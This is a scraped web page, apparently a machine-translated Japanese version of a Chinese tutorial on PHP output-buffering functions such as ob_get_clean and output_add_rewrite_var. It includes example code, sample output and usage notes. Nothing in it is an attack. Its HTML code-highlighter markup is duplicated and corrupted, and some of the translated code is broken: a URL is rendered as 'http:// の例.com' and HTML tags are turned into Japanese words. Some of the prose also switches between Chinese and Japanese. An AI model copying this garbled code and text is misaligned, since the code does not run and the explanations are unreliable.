<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例16*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start();</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php variable">$string</code> <code class="php plain">= ob_get_clean();</code></p><div class="line number6 index5 alt1"><code class="php plain">var_dump(ob_get_status());</code></p><div class="line number7 index6 alt2"><code class="php plain">var_dump(</code><code class="php variable">$string</code><code class="php plain">);</code></p><div class="line number8 index7 alt1"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<divclass>2<divclass>3<div class="linenumber4index3alt1">4<divclass>5<divclass>6<div class="linenumber7index6alt2">7<divclass>8</divclass>
</div></divclass></divclass>
</div></divclass></divclass>
</div></td>
<td class="code"><div class="container"><div class="linenumber1index0alt2"><code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/*例16*/</code><🎜><div class="linenumber3index2alt2"><codeclass="php plain">ob_start();</code><🎜><divclass="linenumber4index3alt1 "><code class="php function">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code><🎜>< div class="linenumber5index4alt2"><code class="php variable">$string</code> <code class="php plain">= ob_get_clean();</code><🎜><div class= "linenumber6index5alt1"><codeclass="php plain">var_dump(ob_get_status());</code><🎜><div class="linenumber7index6alt2"><code class="php plain"> var_dump(</code><code class="php variable">$string</code><code class="php plain">);</code><🎜><div class="linenumber8index7alt1"> <code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<p> 最後に、URL 書き換えに関連する 2 つの関数を見てみましょう。 </p>
<p><strong> 15. bool Output_add_rewrite_var ( string $name , string $value ) </strong></p> <p> この関数は、URL 書き換えメカニズムのキーと値を追加します。ここでの URL 書き換えメカニズムとは、GET モードで URL の末尾にキーと値のペアを追加すること、または GET モードで非表示の形式でキーと値のペアを追加することを指します。フォーム。絶対 URL は追加されません。マニュアルの例を使用してみましょう: </p>
<p></p>
<div id="highlighter_705783" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"> <tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13<div class="line number14 index13 alt1">14<div class="line number15 index14 alt2">15</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2">
<code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例17*/</code></p><div class="line number3 index2 alt2"><code class="php plain">output_add_rewrite_var(</code><code class="php string">'var'</code><code class="php plain">, </code><code class="php string">'value'</code><code class="php plain">);</code></p><div class="line number4 index3 alt1"><code class="php spaces"> </code> </p><div class="line number5 index4 alt2"><code class="php comments">// some links</code></p><div class="line number6 index5 alt1"><code class="php functions">echo</code> <code class="php plain">'<a href=</code><code class="php string">"file.php"</code><code class="php plain">>link</a></code><div class="line number7 index6 alt2">
<code class="php plain"><a href=</code><code class="php string">"http://example.com"</code><code class="php plain">>link2</a>';</code><div class="line number8 index7 alt1">
<code class="php spaces"> </code> <div class="line number9 index8 alt2">
<code class="php comments">// a form</code><div class="line number10 index9 alt1">
<code class="php functions">echo</code> <code class="php plain">'<form action=</code><code class="php string">"script.php"</code> <code class="php plain">method=</code><code class="php string">"post"</code><code class="php plain">></code><div class="line number11 index10 alt2">
<code class="php plain"><input type=</code><code class="php string">"text"</code> <code class="php plain">name=</code><code class="php string">"var2"</code> <code class="php plain">/></code><div class="line number12 index11 alt1">
<code class="php plain"></form>';</code><div class="line number13 index12 alt2">
<code class="php spaces"> </code> <div class="line number14 index13 alt1">
<code class="php plain">print_r(ob_list_handlers());</code><div class="line number15 index14 alt2"><code class="php plain">?></code></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div></td>
</tr></tbody></table>
<divclass>2<divclass line number3index2alt2>3<div class="linenumber4index3alt1">4<divclass>5<divclass> 6<div class="linenumber7index6alt2">7<divclass>8<divclass>910<divclass>11<divclass>12<divclass line number13index12alt2>13<div class="linenumber14index13alt1">14<divclass>15</divclass>
</div></divclass></divclass></divclass></divclass></divclass>
</div></divclass></divclass>
</div></divclass></divclass>
</div></td>
<td class="code "><div class="container"><div class="linenumber1index0alt2"><codeclass plain><?php</code><🎜><div class="linenumber2index1alt1" ><code class="php comments">/*例 17*/</code><🎜><div class="linenumber3index2 alt2"><code class="php plain">output_add_rewrite_var(</code> < code class="php string">'var'</code><code class="php plain">, </code><code class="php string">'value'</code><code class= " php plain">);</code><🎜><div class="linenumber4index3alt1"><codeclass="phpspace"></code><🎜><divclass="linenumber5index4alt2" ><code class="php comments">// いくつかのリンク</code><🎜><div class="linenumber6 index5 alt1"><code class="php function">echo</code> <code class = "php plain">'<a href=</code><code class="php string">"file.php"</code><code class="php plain">>link</a> /code><div class="linenumber7index6alt2">
<code class="php plain"><a href=</code><code class="php string">"http:// の例.com"</code><code class="php plain">>link2</a>';</code><div class="linenumber8index7alt1">
<code class="php space "> </code> <div class="linenumber9index8alt2"><codeclass comments>// フォーム<div class="linenumber10index9alt1 ">
<code class="php function">echo</code> <code class="php plain">'<form action=</code><code class="php string">"script.php"</ / code> <code class="php plain">method=</code><code class="php string">"post"</code><code class="php plain">></code><div class="linenumber11index10alt2">
<code class="php plain"><input type=</code><code class="php string">"text"</code> <code class = "php plain">name=</code><code class="php string">"var2"</code> <code class="php plain">/></code><div class="linenumber12index11alt1"><code class="php plain"></form>';</code><🎜><div class="linenumber13index12 alt2"><code class="php space" > </code> <🎜><div class="linenumber14index13alt1"><codeclass="php plain">print_r(ob_list_handlers());</code><🎜><div class="linenumber15index14alt2 "><code class="php plain">?></code></div>
</div>
</div></codeclass></div>
</div>
</div></codeclass></div></div></td>
</tr></tbody>
</table>
<p> 手順の出力:</p>
<p></p>
<div id="highlighter_635537" class="syntaxhighlighter html">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2">
<code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"file.php?var=value"</code><code class="html plain">>link</</code><code class="html keyword">a</code><code class="html plain">></code><div class="line number2 index1 alt1">
<code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"http://example.com"</code><code class="html plain">>link2</</code><code class="html keyword">a</code><code class="html plain">></code><div class="line number3 index2 alt2">
<code class="html spaces"> </code> <div class="line number4 index3 alt1">
<code class="html plain"><</code><code class="html keyword">form</code> <code class="html color1">action</code><code class="html plain">=</code><code class="html string">"script.php"</code> <code class="html color1">method</code><code class="html plain">=</code><code class="html string">"post"</code><code class="html plain">></code><div class="line number5 index4 alt2">
<code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"hidden"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var"</code> <code class="html color1">value</code><code class="html plain">=</code><code class="html string">"value"</code> <code class="html plain">/></code><div class="line number6 index5 alt1">
<code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"text"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var2"</code> <code class="html plain">/></code><div class="line number7 index6 alt2">
<code class="html plain"></</code><code class="html keyword">form</code><code class="html plain">></code><div class="line number8 index7 alt1">
<code class="html spaces"> </code> <div class="line number9 index8 alt2">
<code class="html plain">Array</code><div class="line number10 index9 alt1">
<code class="html plain">(</code><div class="line number11 index10 alt2">
<code class="html spaces"> </code><code class="html plain">[0] => URL-Rewriter</code><div class="line number12 index11 alt1"><code class="html plain">)</code></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div></td>
</tr></tbody></table>
<divclass>2<divclass>3 <div class="linenumber4index3alt1">4<p><divclass>5</divclass></p>
<divclass>6<p><divclass linenumber7index6alt2>7<strong><divclass>8</divclass></strong><divclass>9</divclass></divclass></p>
<divclass>10<p></p>
<div class="linenumber11index10alt2">11<divclass>12<h3></h3></divclass>
</div></divclass></divclass>
</div></divclass></divclass>
</div></td>
<td class="code"><div><div class="linenumber1index0alt2">
<code class="html plain"><</code><code class="html keyword">a</code> <code class=" html color1">href</code><code class="html plain">=</code><code class="html string">"file.php?var=value"</code><code class=" html プレーン">>リンク</</code><code class="html キーワード">a</code><code class="html plain">></code><div class="行番号 2 インデックス 1 alt1">
<code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code>< code class="html plain">=</code><code class="html string">"http://example.com"</code><code class="html plain">>link2</< /code><code class="html key">a</code><code class="html plain">></code><p></p>
<div class="linenumber3index2alt2"><codeclass> <div class="linenumber4index3 alt1">
<code class="html plain"><</code><code class="htmlKeyword">フォーム</コード> <code class="html color1">アクション</code><code class="html plain">=</code><code class="html string">"script.php"</code> <code class="html color1">メソッド</code><code class="html plain">=</code><code class="html string">"post"</code><code class="html plain" >></code><ol><div class="linenumber5index4alt2">
<code class="html plain"><</code><code class="html key">入力</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"hidden"</code> <code class="html color1">名前</code><code class="html plain">=</code><code class="html string">"var"</code> <code class="html color1">値</ code><code class="html plain">=</code><code class="html string">"value"</code> <code class="html plain">/></code><li><div class="linenumber6index5alt1"><code class="html plain"><</code><code class="htmlkeyword">入力</code> <code class="html color1"> type</code><code class="html plain">=</code><code class="html string">"text"</code> <code class="html color1">name</code>< code class="html plain">=</code><code class="html string">"var2"</code> <code class="html plain">/></code><div class="linenumber7index6alt2">
<code class="html plain"></</code><code class="html key">フォーム</code><code class="html plain">> </code><li><div class="linenumber8index7alt1"><codeclass> <divclass><codeclass html plain>配列<div class="linenumber10index9alt1"><codeclass plain>(<div class="clear"><div class="linenumber11index10alt2">
<code class="html space"> </code><code class="html plain">[0] => URL リライター</code><div class="linenumber12index11alt1"><code class="html plain">)</code></div>
</div></div></codeclass></div></codeclass></divclass></codeclass></div></li>
</div>
</div></ol>
</div></codeclass></div>
</div>
</div></div></td>
</tr></tbody></table> URL アドレスに対する接続とフォームテーブル単位が対応する接続値に追加されていることがわかります。 16. bool Output_reset_rewrite_vars ( void ) この関数は、すべての URL 再書き込み機構をクリアするために使用されます。つまり、output_add_rewrite_var() によって設定された再書き込み量を削除します。その他の注意が必要な場所 相信读了上の内容,就会对PHP の缓冲制御関数数有深认识了,那珂下说一部日常使用において必要な注意事項:例 3 の 3 番目の行で、1024 の長さのスペースが出力されましたが、その原因は、一部の win32 のサーバー プログラムで、上記の関数を使用しても、コメントが保存される可能性があるためです。の出力は、その圧縮領域がオーバーすることを考慮して、最初に送信する必要があるため、テスト中に問題がある場合は、この値をさらに大きく設定することもできます。たとえば、4096 です。 スクリーンが終了する前に圧縮エリアが空にされていない限り、スクリーンが終了すると、圧縮エリアのすべてのコンテンツが自動的に視聴者に出力されます。</div>
</div>
</div>
</div></strong></p>
</div>
</div>
</div></divclass>
</div></divclass></divclass>
</div></divclass></divclass></divclass></divclass></divclass></divclass>
</div></divclass></divclass></codeclass></divclass></codeclass></div>
</div></divclass>
</div>
</div>
</div>
</div>
</div>
</div>
声明:この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。